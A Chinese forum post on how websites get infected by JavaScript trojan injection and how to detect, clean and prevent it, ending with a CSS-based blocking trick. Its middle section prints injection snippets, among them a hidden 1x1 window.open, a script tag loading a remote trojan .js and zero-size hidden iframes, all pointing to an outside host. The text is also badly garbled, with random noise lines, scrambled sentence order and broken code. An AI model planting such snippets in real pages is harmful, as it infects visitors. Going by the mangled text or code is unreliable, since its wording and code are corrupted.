搜索
查看: 11632|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

& f8 {; } s: A/ h' @

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

% E1 f9 J' M6 A$ g, j$ O% _" r

IFRAME 和 JS 脚本挂马。

W& s% M! s9 s% M: Q

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

" D2 N% L) R$ X- ^* ^

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

1 H* l6 z5 [( d: w

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

Y; t! [6 D$ p, v% |- t( e, D

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

. o! n1 t. L$ P

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

$ A- N: h0 F, a- l

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

" x- D; D; D. _. l

。一千多位会员的 ID

! r1 I/ r, j( [$ ?8 ^

2: 如何检测网页是否被挂马。

0 X$ z P+ W4 K. i, c! j3 t/ s

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

4 M5 A( L( c3 J& i% Z+ I

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

- S3 ~$ j8 W) @; w4 [5 Q

因素。
2 googl 检测。>

- F3 r, \% W$ u4 X" F" v

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

; f3 e( A: C; p. L4 g V) J7 Z

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

+ S# }& p& y# q; C5 H; K

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

* y' e6 V; ]* W) \, `3 }

8 L+ z' {, s# W5 z1 C

3: 如何清除网页木马。

+ N/ O' x, S. H8 p4 l6 W. w

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

! y, @8 R+ i$ \; [7 R

入源文件把相关的网页挂马种类的可疑代码删除。

! K2 z( g* { I/ j/ H- f( M3 S

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

' d) e9 D ]; }6 Z

悉。>

5 e/ n3 Q: M; x" K0 Q8 A1 y

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

2 y0 h& D. M* a% ]" c) e/ [/ L) M

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

! ?' s4 P. U7 {+ r# }9 P

2 保证你所使用的顺序及时的更新。

P) H+ K* g7 ]7 N5 F: ], ]

3 不要在前台网页上加注后台管理程序登陆页面的链接。

- i" o$ F9 s3 ` x$ @$ V

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

5 [9 O5 ]$ w* u6 r* u8 [% o. ~

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

( f( j4 N% }$ W; G" l6 R- A+ F0 L

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

4 I- E- h2 g+ l. y/ r4 l* S

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

4 |0 a& a" } J5 x$ s' W0 K

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

- i3 k& J, N& O X' r

8 p5 P4 S8 E, J( y; C3 J5 s

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

6 p( S4 B) v5 {$ U# ~8 q

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

* ~# a7 J8 p8 \, y

JS 挂马溯源

+ e. z$ t/ T1 |' G4 h) J5 V% _! A

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

0 u9 Y% U5 N% s' t

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

% q) K! P% M5 O; }$ t( ?6 u

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

G4 y2 R2 P, T# i8 Q% t* X6 x

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

! m# |! N& [: B4 w! z2 |% `: B: Y- v

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

+ Q! D& |0 _, D

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

: e' x0 k- T- f. k" H# I

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

! I( a! a0 |4 l4 ?/ Q, V

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

. s, [5 j% u; t; {# U/ i! t4 J

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

0 u6 v/ P. R; {5 ]; W

脚本在工作中会有很大的协助。

' U$ J% y3 J6 T- a

挂马原理一点通

9 e/ N; O8 h9 P% E

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

4 P' T6 P$ q- n1 _

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

: ]0 A! U! m9 ?5 i( m4 D

无从区分木马在何处。

3 d: f2 M# x7 s1 H4 s

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

& e: r3 d6 l6 b5 i* |

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

# P4 g% u( `0 y6 ?

容易蒙混过关,导致木马久杀不绝。

# k( P: T6 w4 K

JS 挂马攻防实录

. U2 X1 V# U! {4 s6 P

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

( z8 Y$ O4 }* J6 q& `* G7 J

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

1 l: f2 R& }' R7 x6 m

这种方法使用的关键代码如下:

) o/ @% z( L% `) N. V5 m

"",  window.open "http://www.v404.cn/ 木马

: a, h' C$ l" X) W

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

: S6 x2 W$ r& b& @+ O& f3 n

7 [9 l0 J% M7 `0 `2 ^

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

7 v" P, p1 K* ]. f

但是设置为 0 后,可能会出现恶意代码不运行的情况。

/ F0 y& A6 C# ]2 k1 _

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

& V4 L. y$ ] e* ~

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

5 S* G) P4 o& ]1 a3 v" ]3 B3 F

( Y5 n0 \ a7 @: [7 Z

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

6 I# {5 h" C" C0 I. Q6 O

( \5 U$ M# q0 }9 n* c+ s: G9 K

或者

' N, M3 `/ s# @2 I0 N" i% N6 F

document.writ "<div style='display:none'>"

# l9 z% i! b. m8 z+ q

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

" Y) ]& v7 j2 e5 P, [, l) w# L

document.writ "</div>"
 

- \) H* _3 r! d- x9 h: S, I+ G/ r

' m+ E3 n8 A8 K8 ~8 }2 T

就成功地将木马挂到对方的网页中了

, C+ q& i7 |/ h. c U B

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

5 r- x8 r2 U0 f6 b

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

- }5 I- U2 }) d) t) P

或者:

: W% p) P3 p# A( r

<ifram src="vbscript:[ 挂马脚本 ]">

) r; x3 @" `+ a

/ r# a' h5 d1 E, \0 O


等等 …

* y4 S! a5 z% C2 Q" {+ p+ @) I1 K

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

: ~; Q! \. H4 w4 q: o1 Y

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

$ F2 Z" I$ A( \& @9 c) R; |7 \3 }

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

6 Q6 M f) |# s( l8 Y2 ]

;}

- U, x, Z: x q

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

; g% v! N$ _, T4 z

" J! T/ K+ k( Z' x& l2 K A" S7 o

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

2 N: O3 W }; z' U( C

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

: c0 N4 C; }, L. r, b! n

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

! s/ j: ?7 P! z% K) t

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

: K$ _' T5 W# E

<title> 让 JS 挂马中止的 CSS 代码 </title>

2 ?8 z" Y! _0 Y

<styl type="text/css" id="shudoo">

% }+ ~# N, H$ Y) _( w- p

/*<![CDATA[*/

( B6 r" [# ^8 _* b2 P

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

' u+ y, g0 A" ?) W

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

8 G3 L" z+ a# M6 K3 F3 n

/*]]>*/

" ~$ r! A& w' {) W. b+ V0 ?9 o1 j

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表